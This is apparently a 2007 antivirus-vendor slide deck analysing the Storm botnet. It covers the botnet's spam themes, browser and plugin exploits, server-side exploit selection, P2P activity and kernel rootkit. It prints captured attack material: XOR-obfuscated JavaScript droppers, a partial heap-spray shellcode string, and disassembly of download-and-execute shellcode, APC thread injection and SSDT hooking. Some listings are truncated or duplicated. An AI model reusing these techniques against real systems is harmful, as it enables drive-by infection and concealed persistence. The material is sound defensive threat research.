Storm 2007 – Malware 2.0 has arrived

A brief survey of the Storm threat’s always changing characteristics

Kurt Baumgartner
Chief Threat Officer
PC Tools Ltd, USA
September, 2007
Web 2.0?
Malware v2.0 has arrived

- O’Reilly’s Web 2.0 characteristics
  - Constant change, hackability, perpetual beta
  - Network is the platform, radical decentralization (i.e. BitTorrent)
  - Rich user experience
  - Cost effective scalability
  - Small pieces loosely joined (web as components)
  - Business models that rose to success in years following the crash
  - Google maps, Flickr, MySpace...

- Malware v2.0 characteristics
  - Constant, relentless change, perpetual beta – binary code itself, effective and reliable techniques and behavior, javascript, social engineering
  - Network is the platform, radical decentralization
  - Scalable
  - Commodity, shared exploits and tweaked shellcode
  - Rich experience, interactive code
  - Compromised systems -- loosely joined as bots over p2p
  - Frequently extremely targeted releases (just not the case with Storm)
  - Business models? Storm.
Storm Threat Activity

- Currently highly active
- Multiple layers of constant, relentless change
  - Maksym Shipka’s VB2007 presentation “next step” – relentless offline and scalable morphism to evade signature distribution
- Massive volumes of distribution due to scalability through p2p, lightweight http servers, effective and constant morphing
- Active since at least January 2007 to today to build massive botnet
  - Similar distribution characteristics back in 2006, but no p2p components
- Web sites, obfuscated javascript, XOR’d shellcode, kernel level components, peer files, p2p threads, packed user level components
- Reports of 21,000 messages a day from unique ip addresses at small U.S. colleges
- DDoS attacks are beginning to be used more frequently
- Spam -- Pump and Dump
Currently very active: example of new web site with downloader links, exploit code, and engineered personal interest theme. Rich visual experience. September 11, 2007
Very current and very active: example of past weekend’s personal interest theme, exploit code delivered based on browser identification. September 14, 2007, very rich eye candy.
Constant Change – binaries, exploits, social engineering

- **Changing content delivery**
  - Email messaging only with attachment (Jan 2007)
  - Email messaging coupled with hyperlinks to downloaders on web sites (May 2007)
  - Email messaging coupled with hyperlinks to sites maintaining links to downloaders and driveby exploit code (June 2007)
  - Email messaging coupled with hyperlinks to sites maintaining links to downloaders and driveby exploit code delivery based on client browser identification (July 2007)

- **Changing campaign themes**
  - Shocking environmental change – storm (Jan 2007)
  - Shocking political events (Jan 2007)
  - Sexual and relationship topics (Jan through July 2007)
  - Trusted personal circles (Feb through July 2007)
  - Personal interests -- football, free arcade games (September 2007)
  - Personal and individual spectacle (late Jan through July 2007)
  - Security issues (? through today)
Constant Change (cont.)

Example: email with download link and personal relationship theme, July 2007
Example: email with download link and sexual enticement theme, August 2007
Constant Change (cont.)

- Every binary is repacked prior to download
  - All new md5 fingerprints (weakness in downloader itself)

- Exploits
  - Internet Explorer (original): MDAC/ADO.DB Stream, WebViewFolderIcon
  - FireFox: Windows Media Player Plug-In EMBED Overflow Universal Exploit Rated “Important” by Microsoft
  - Opera: Windows Media Player Plug-In EMBED Overflow Universal Exploit Rated “Important” by Microsoft
  - Third party plugins (June): QuickTime Plugin malformed rtsp string overflow, Winzip Plugin
  - Plugins (July): Yahoo! Webcam Viewer Networking and Imaging, Microsoft DDS Library Shape Control COM Object
Changing obfuscated javascript per site visit

If you do not see the Secure Login Window please install our Secure Login Applet.
<Script Language='JavaScript'>
function xor_str(plain_str, xor_key){
    var xored_str = "";
    for (var i = 0 ; i < plain_str.length; ++i) xored_str += String.fromCharCode(xor_key ^ plain_str.charCodeAt(i));
    return xored_str;
}
function ka*******(s***,d***){};
function ka*******2(s***_d***,again){};
var plain_str = "\xa1\x8c\x8b\x8c\x8b\xf7\xe0\xf3\xa1\xec\xec\xa1\xbc\xa1\xef\xe4\xf6\xa1\xc0\xf3\xf3\xe0\xf8\xa9\xa8"
var xored_str = xor_str(plain_str, 129);
eval(xored_str);
</script>
Changing obfuscated javascript (cont.)

If you do not see the Secure Login Window please install our <a href="/applet.exe">Secure Login Applet</a>.

```javascript
function xor_str(plain_str, xor_key){
    var xored_str = "";
    for (var i = 0; i < plain_str.length; ++i)
        xored_str += String.fromCharCode(xor_key ^ plain_str.charCodeAt(i));
    return xored_str;
}

var plain_str = "\\xd6\\xff\\xff\\x73\\x83\\x73\\xa9\x19\x2d\xc5\xd8\xc5\x8b\xef\x92\xa4\x97\x97\x84\x92\x32\x9f\x83";

var xored_str = xor_str(plain_str, 135);
eval(xored_str);
</script>
What’s encoded?

- Internet Explorer attacks
- Plugin attacks
- Firefox attacks
- Opera attacks
- Heap spray technique
- Download and Execute shellcode, links to maliciously crafted files
What’s encoded? (cont.)

- Browser exploits: Internet Explorer, Firefox, Opera
  - MDAC Vulnerability + ADODB Vulnerability + CreateObject ActiveX Vulnerability
  - SetSlice Vulnerability
  - Winzip, Quicktime ActiveX Vulnerabilities
  - Yahoo! Webcam Viewer ActiveX Vulnerability (not the same as the documented eEye vuln, but reported in the advisory)
  - Msdds.dll Vulnerability

Example: ywcvwr.dll strcpy call with improper bounds check

Example: ywcvwr.dll smashed stack with exception handler overwrite
Storm Web Presence

- Thousands of Nginx 0.5.11, 0.5.12, 0.5.17 web servers (load balancing? Scan results?)
- Obfuscated javascript
- Executable download links
- Executable download links with exploit code
- Server side exploit delivery decision tree
  - Interactive system -- browser/client side identification based on simple keyword parsing of the User-Agent string coupled with selective exploit delivery
Storm Web Presence (cont.)

Assortment of strings used to identify server-side decision-making:

Firefox:
wget http://70.xxx.xxx.xxx/index.html --user-agent="Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4" --header="Accept: image/png,*/*;q=0.5" --header="Accept-Language: en-us,en;q=0.5" --header="Accept-Encoding: gzip, deflate" --header="Accept-Charset: ISO-8859-1,utf-8;q=0.7,*:q=0.7" --header="Keep-Alive: 300" --header="Referer: http://70.xxx.xxx.xxx/"

Internet Explorer:
wget http://66.xxx.xx.xx/index.html --header="Accept: */*" --header="Accept-Encoding: gzip, deflate" --user-agent="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) --header="Host: 66.xxx.xx.xx"

Opera:
wget http://66.xxx.xx.xx/index.html --user-agent="User-Agent: Opera/8.53 (Windows NT 5.1; U; en)" --header="Host: 66.xxx.xx.xx" --header="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1" --header="Accept-Language: en" --header="Accept-Charset: windows-1257, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1" --header="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0" --header="Pragma: no-cache" --header="Cache-Control: no-cache" --header="Connection: Keep-Alive, TE" --header="TE: deflate, gzip, chunked, identity, trailers"
Storm Client-side Exploits

- MDAC/ADODB.Stream+XMLHttpDownload+WinExec
- Fairly new - Yahoo! Webcam Viewer and Network Imaging
  - ywcvwr.dll v2.0.1.4, Yahoo! Messenger v8.1.0 build 195
  - Passes overly long server property to the receive() method:
    Target.server = buffer; Target.receive();
  - Storm shellcode overwrites Unhandled exception handler on
    the stack, which then transfers control to shellcode sprayed all
    over multiple heaps
- Heap spray technique (publicly documented since late 2004 -- skylined)
  - Extremely reliable heap spray technique for shellcode delivery
    and control transfer when targeting IE vulnerabilities
Storm Shellcode

- Download and Execute – http://x.x.x.x/file.php
- Javascript obfuscated per download and delivered with changing deobfuscation stub (and taunts for AV vendors!)
- Javascript heap spray delivery, UTF-16 shellcode string
- Shellcode delivered with decoder xor stub
- New -- stack manipulation that sets up a camouflaged RET to RET
  - Return to return within kernel32.dll – stack looks okay! Proactive solutions’ exploit prevention is evaded – snapshot of the stack looks okay when function is called, everything is okay (?)
Storm shellcode (cont.)

- Old shellcode – common download and exec functionality
  - Skipped GetProcAddress, but ret points right back into the heap
  - Substantially smaller – 232 bytes, no XOR decoder stub
  - No camouflaged return on the heap
    - Winexec call should not operate from the heap from within http browser process and called from script, no?
Storm Shellcode (cont.)

UTF-16 encoded string from within the attacking web page sprayed to multiple heaps in process memory.

Publicly available and commonly used technique.

UTF-16: commonly chosen format for reliable delivery to IE exploits because it is Javascript’s native encoding – what you see is what you get delivered to the heap.

function xx() {
  var zc = 0x0x0x0x0x;
  var a = unescape("%u4343%u4343%u0feb%u335b%u66c9%u80b9%u8001%uef33" +
    "%u243%uebfa%ue805%uffec%ufff%u8b7f%udf4e%ueef%ue3af%u9f64%u42f3%u9f64%u6ee7%uef03%uefeb" +
    "%u64ef%ub903%u6187%ue1a1%ue0703%uef11%uef%ua66%ub9eb%u7787%u6511%u07e1%uef1%uef%ua66%ub9e7" +
    "%uca87%u105f%u072d%uef0d%uef%ua66%ub9e3%u0087%u0f21%u078f%uef3b%uef%ua66%ub9ff%u2e87%u0a96" +
    "%u0757%uef29%uef%ua66%uaffb%ud76f%u9a2c%u6615%uf7aa%ue806%uef%ub1ef%u9a66%u64cb%uebaa%uee85" +
  var heapBl2ckSize = //assign block size here;
  var bSize = heapBl2ckSize - (pls+0xff);
  // fill variable with lots of nop/heap location values
  heapBl2cks = (zc - 0x400000)/heapBl2ckSize;
  for (i=0;i<heapBl2cks;i++) {
    // create array of heap blocks here
  }
}
Storm Shellcode (cont.)

- New Shellcode -- Common Download and Exec Functionality
- 439 bytes – includes XOR 0xef decoder stub
- Typical (and unnecessary) calls to kernel32 functions
  - `LoadLibraryA`, `WinExec`, `DeleteFileA`, `ExitThread`, `UrlDownloadToFileA`, but NO `GetProcAddress` (custom getproc routines used here)!
Storm Shellcode (cont.)

Very common at first glance

00408040  43              inc ebx
00408041  43              inc ebx
00408042  43              inc ebx
00408043  43              inc ebx
00408044 >  EB 0F       jmp short new_shel.00408055               ; <-- Position independent code
00408046    5B              pop ebx
00408047    33C9          xor ecx, ecx
00408049    66:B9 8001      mov cx, 180        ...   ; <-- ecx = 180 (shellcode must be at least 384 bytes long)
0040804D    8033 EF    xor byte ptr ds:[ebx], 0EF                      ; <-- XOR 0xEF stub/loop starts here, with base of shellcode at [ebx]
00408050    43              inc ebx                                                   ; <-- Move to next byte of shellcode
00408051  ^ E2 FA        loopd short new_shel.0040804D           ; <-- Loop to xor instruction until ecx = 0
00408053    EB 05         jmp short new_shel.0040805A              ; <-- Jump to beginning of decoded shellcode
00408055    E8 ECFFFFFF     call new_shel.00408046        ... first stack frame here for Position Independent Code
0040805A    90              nop
0040805B    64:A1 30000000  mov eax, dword ptr fs:[30]
00408061    8B40 0C     mov eax, dword ptr ds:[eax+C]00408064    8B70 1C     mov esi, dword ptr ds:[eax+1C]
00408067    AD               lods dword ptr ds:[esi]
0040806B    81EC 00040000   sub esp, 400                             ; Creates unusually large stack space here -- esp = 0012FADC
00408071    8BEC          mov ebp, esp
00408073    56                push esi
00408074    68 8E4E0EEC     push EC0E4E8E
00408079    E8 FE000000     call new_shel.0040817C0040807E    8945 04       mov dword ptr ss:[ebp+4], eax
00408081    56                push esi
00408082    68 98FE8A0E     push 0E8AFE08
00408087    E8 FE000000   call new_shel.0040817C
0040808C    8945 08      mov dword ptr ss:[ebp+8], eax
0040808F    56                push esi
00408090    68 25B0FFC2     push C2FFB025
00408095    E8 E2000000   call new_shel.0040817C
0040809A    8945 0C       mov dword ptr ss:[ebp+C], eax

: => xcr = 180 (shellcode must be at least 384 bytes long)
: => XOR 0xEF stub/loop starts here, with base of shellcode at [ebx]
: => Move to next byte of shellcode
: => Loop to xor instruction until ecx = 0
: => Jump to beginning of decoded shellcode
: => Setup first stack frame here for Position Independent Code

: Make room for the new stack!
: esi = kernel32.7c800000

: Findfunc loop
: Findfunc loop
: Findfunc loop
Storm Shellcode (cont.)

PIC + XOR 0xEF stub

```
00408040  43           inc ebx
00408041  43           inc ebx
00408042  43           inc ebx
00408043  43           inc ebx
00408044  EB 0F      jmp short new_shel.00408055       ; <-- Position independent code
00408046  5B           pop ebx
00408047  33C9       xor ecx, ecx
00408049  66:B9 8001   mov cx, 180                       ; <-- ecx = 180 (shellcode must be at least
0040804D  8033 EF      xor byte ptr ds:[ebx], 0EF    ; <-- XOR 0xEF stub/loop starts here, with
00408050  43           inc ebx                                      00408050  43           inc ebx                                               ; <-- Move to next byte of shellcode
00408051  ^ E2 FA        loopd short new_shel.0040804D     ; <-- Loop to xor until ecx=0
00408053  EB 05        jmp short new_shel.0040805A         ; <-- Jump to beginning of decoded
00408055  E8 ECFFFFFF  call new_shel.00408046           ; <-- Setup first stack frame here so    00408055  E8 ECFFFFFF  call new_shel.00408046           ; <-- Setup first stack frame here so
00408049  384 bytes long)      [ebx] receives ret to base of encoded shellcode
0040804D  8033 EF      xor byte ptr ds:[ebx], 0EF    ; <-- XOR 0xEF stub/loop starts here, with
00408050  43           inc ebx                                      00408050  43           inc ebx                                               ; <-- Move to next byte of shellcode
00408051  ^ E2 FA        loopd short new_shel.0040804D     ; <-- Loop to xor until ecx=0
00408053  EB 05        jmp short new_shel.0040805A         ; <-- Jump to beginning of decoded
00408055  E8 ECFFFFFF  call new_shel.00408046           ; <-- Setup first stack frame here so    00408055  E8 ECFFFFFF  call new_shel.00408046           ; <-- Setup first stack frame here so
```
Find kernel.function loop within shellcode

Actual RET location within kernel32.dll
Storm Shellcode (cont.)

Stack snapshot

0012FADC 02100210
0012FAE0 7C801D77 kernel32.LoadLibraryA
0012FAE4 7C86136D kernel32.WinExec
0012FAE8 7C831EAB kernel32.DeleteFileA
0012FAEC 7C80C058 kernel32.ExitThread
0012FAF0 7C814EEA RETURN to kernel32.GetSystemDirectoryA
0012FAF4 7C815041 kernel32.7C815041
0012FAF8 02100312

- This additional bogus RET snuck onto the bottom of the stack under the RETURN to kernel32.GetSystemDirectoryA makes it difficult for some security products to identify that control originates on the heap, instead of originating from kernel32.
Storm User Level Components

- **Services threads (January 2007)**
  - P2P activity: Overnet protocol, download new wincom32.ini/peers list and second-stage executable from sites
  - Peer list, blacklist

- **Back to standard executable with no autorun (May 2007)**
  - Easily analyzed P2P code, slightly modified

- **Driver droppers (old) and driver patchers/infectors (new)**

- **Files (mostly downloaders, droppers). Some include p2p functionality: file.php -> ~.exe, ecard.exe, video.exe, flash postcard.exe, alsys.exe, postcard.exe, lr67mwn.exe, spooldr.exe**
P2P Threads

- Common Overnet p2p protocol code
- Network activity over UDP
- WS32_2.sendto called repeatedly
- P2P responses command downloads via http (binaries are not exchanged over p2p)
- Code reuse, some modification
- Common to services threads, user mode components over time
P2P Threads (cont.)

UDP Overnet – communication only

Sendto looks the same across injected services threads and standalone binaries

007D7583  8BEC     MOV EBP,ESP
007D7585  56       PUSH ESI
007D7586  57       PUSH EDI
007D7587  FF75 18  PUSH DWORD PTR SS:[EBP+18]
007D758A  8B1F     MOV ESI,ECX
007D758C  FF75 14  PUSH DWORD PTR SS:[EBP+14]
007D758F  FF75 10  PUSH DWORD PTR SS:[EBP+10]
007D7592  FF75 0C  PUSH DWORD PTR SS:[EBP+C]
007D7595  FF75 08  PUSH DWORD PTR SS:[EBP+8]
007D7598  FF76 04  PUSH DWORD PTR DS:[ESI+4]
007D759B  FF15 08817D00 CALL DWORD PTR DS:[7D8108] ; WS2_32.sendto
007D75A1  8BF8     MOV EDI,EAX
007D75A3  83FF FF  CMP EDI,-1
007D75A6  0F94C0   SETE AL
007D75A9  8BCE     MOV ECX,ESI
007D75AB  50       PUSH EAX
007D75AC  E8 8AFEFFFF CALL 007D743B
P2P Threads (cont.)

Http only – file downloads

007D1C97 885D 0B          MOV BYTE PTR SS:[EBP+B],BL
007D1C9A FF15 C0807D00    CALL DWORD PTR DS:[7D80C0] ; WININET.InternetOpenA
007D1CA0 3BC3             CMP EAX,EBX
007D1CB0 68 64B37D00      PUSH 7DB344 ; ASCII "anonymous"
007D1CBB FF15 BC807D00    CALL DWORD PTR DS:[7D80BC] ; WININET.HttpSendRequestA
007D1CC1 8B75 0C          MOV ESI,DWORD PTR SS:[EBP+C]
007D1CEC FF15 68807D00    CALL DWORD PTR DS:[7D8084] ; WININET.HttpSendRequestA
007D1CF2 85C0             TEST EAX,EAX
007D1CFA 8B75 0C          MOV ESI,DWORD PTR SS:[EBP+C]
007D1CFE 68 04010000      PUSH 104
007D1D03 FF15 68807D00    CALL DWORD PTR DS:[7D8084] ; kernel32.GetCurrentDirectoryA
007D1D09 68 40B37D00      PUSH 7DB340
007D1D0F 56               PUSH ESI
007D1DF E8 B3530000      CALL 007D70C7 ; kernel32.GetFile
007D1D13 83C4 10          ADD ESP,10
007D1D19 6A 02            PUSH 2
007D1D1B 68 00000000      PUSH 0
007D1D1D 39CA             CMP EAX,EBX
007D1D21 FF15 78B07D00    CALL DWORD PTR DS:[7D8078] ; kernel32.CreateFileA
Storm Kernel Level Components

- **Driver files**
  - Wincom32.sys
  - Spooldr.sys
  - win_dev-4d_04-35_a3.sys

- **Wincom32.sys (January 2007)**
  - Standard driver installation and configuration behavior
  - Services process thread injection from the kernel: ZwAllocateMemory, KeInitializeAPC, KeInsertQueueAPC

- **Rootkit techniques**
  - File and registry hides: SSDT hooks 
    NtEnumerateKey, NtEnumerateValueKey, NtQueryDirectoryFile
  - Ntoskrnl.exe exclusive lock (post July 2007)
  - Writing data to spooldr.exe Alternative Data Streams (September 2007)

- **Embedded code (post July 2007)**
  - Patching Kbdclass.sys, Tcpip.sys
    - Alex Hinchliffe’s VB2007 presentation suggestion – it’s here and it’s in the kernel!
    - Moved SSDT hooking functionality inside system drivers
  - Benefit -- No autorun entry necessary, runs user-mode component at startup
Details of Storm’s kernel level thread injection

- Implemented in the wincom32.sys driver from January 2007
- Why not user-mode APC?
  - Technique publicly documented on NT in 1997, used in Barnaby Jack’s “Buy Me Drinks” Blackhat presentation
  - Benefit – services process cannot be killed and restarted like explorer.exe. Often “whitelisted” as system service
  - Slight twist in Storm driver: instead of writing to shared memory as in Mr Jack’s presentation, just let OS write to memory and grab a handle. Ends up at same location in services every time (0x007d0000 range) in the lab on XP SP2.
Services.exe unicode string stored

```
push 0                      ; ZeroBits
lea eax, [ebp+BaseAddress]
push eax                    ; BaseAddress
push [ebp+ProcessHandle]    ; ProcessHandle to services.exe
call ds:2wAllocateVirtualMemory

lea ecx, [eax+eax*4]
shr ecx, 3
mov eax,Offset byte_11240
sub ecx, eax
add ecx, edx
push esi
push edi
mov edi, [ebp+BaseAddress]
mov [ebp+var_8], edx
mov edx, ecx
shr ecx, 2
mov esi, ecx
rep movsd                 ; <-- Write the thread code to the services process here!
mov ecx, edx
and ecx, 3
rep movsb                 ; <-- Finishing up the write to services byte-by-byte...
```

Memory allocated in services.exe and written to by driver
; int __stdcall sub_10FF2(PVOID Object, int, int)
sub_10FF2 proc near ; CODE XREF: sub_10D5E+BDTp
    Object - dword ptr  8
    arg_4 = dword ptr  0Ch
    arg_8 = dword ptr  10h

    mov    edi, edi
    push   ebp
    mov    ebp, esp
    lea    eax, [ebp+Object]
    push   eax
    push   [ebp+Object]
    call   ds:PsLookupThreadByThreadId ; -- Return referenced pointer to service.exe process's
                                        ;       alertable thread's EThread structure on stack [ebp+Object].
    test   eax, eax
    jge    short loc_110C
    xor    eax, eax
    jmp    short loc_1105B

loc_110C:
    push   esi
    push   edi
    push   2068644h ; Tag..."Ddk " (?)
    push   50h ; NumberOfBytes
    xor    esi, esi
    push   esi ; PoolType: xor esi,esi; -- esi = 0. NonPagedPool = 0
    call   ds:FxAllocatePoolWithTag ; Returns pointer to the allocated memory
    push   [ebp+arg_8]
    mov    edi, eax ; Pointer to allocated memory moved into edi
    mov    eax, [ebp+Object]
    push   1 ; -- User-mode
    push   [ebp+arg_4] ; -- User APC routine (p2p, download activity)
    mov    byte ptr [eax+40h], 1
    push   esi ; -- Null NormalRoutine parameter (so ApcMode field is set to KernelMode and
                  ;       NormalContext is set to NULL. APC is in "special kernel mode")
    push   offset loc_10FD8 ; -- Kernel APC routine
    push   esi ; -- APC environment (Attached)
    push   [ebp+Object] ; -- Pointer to service's target thread object.
    push   edi ; -- Pointer to memory allocated for the APC.
    call   ds:KeInitializeApc ; -- initialize APC object
    push   1 ; -- Priority increment
    push   esi ; -- Pass null system argument
    push   esi ; -- Pass null system argument
    push   edi ; -- Pointer to APC object initialized by KeInitializeApc
    call   ds:KeInsertQueueApc ; -- Insert user-mode APC into services.exe target thread. Done!
Hooking SSDT

Storm disables memory protection on read-only memory pages by setting Control Register Zero to zero.

```
; CODE XREF: sub_10F14+8.jp
; sub_10F7A+6.jp

CR0_Unprotect_Memory_SSDT proc near
    ; Set WP bit to zero
    mov eax, [ebp+var_4]
    sti
    mov eax, [ebp+var_4]
    leave
    retn

CR0_Unprotect_Memory_SSDT endp
```
Hooking SSDT (cont.)

Finds the SSDT using KeServiceDescriptorTable, overwrites entries in the table with new addresses, then restores CPU level Write Protection for pages

```
  mov  ecx, ds:KeServiceDescriptorTable ; Find table
  mov  edx, [ebp+arg_0] ; Pass parameter containing address of hook function
  mov  ecx, [ecx] ; Store base of SSDT from KeServiceDescriptorTable struct
  mov  [ecx+eax*4], edx ; Copy in new address over the current SSDT function
  ; HOOKED

  ; CODE XREF: sub_10F7A+351j
  push  eax
  mov  eax, [ebp+var_4]
  cli
  mov  cr0, eax ; Restore write protection on read only pages
  sti
  pop  eax
  leave
  ret 8
```
Exclusive lock set – causing rkit detection to fail (July 2007)

- String to ntoskrnl.exe passed as parameter

```
push     offset FileHandle  ; "\\SystemRoot\\SYSTEM32\ntoskrnl.exe"
call    sub 3E96
```

- Where it gets used in ZwCreateFile call

```
push     100000h          ; DesiredAccess
lea      eax, [ebp+FileHandle]
push     eax              ; FileHandle
mov      [ebp+ObjectAttributes.Length], 18h
mov      [ebp+ObjectAttributes.RootDirectory], esi
mov      [ebp+ObjectAttributes.Attributes], 40h
mov      [ebp+ObjectAttributes.SecurityDescriptor], esi
mov      [ebp+ObjectAttributes.SecurityQualityOfService], esi
call     ds:zWCreateFile
test     eax, eax
jge      short loc_3F07
xor     al, al
jmp      short loc_3F2A
```

- And the file handle passed to an exclusive lock, disallowing access for SSDT hook comparisons
Conclusion

- Storm business model of distribution and sustaining presence is based in constant change, AV evasion, and the network as platform

- Prediction: components will progress further into the kernel

- Malware v2.0 is here and happening today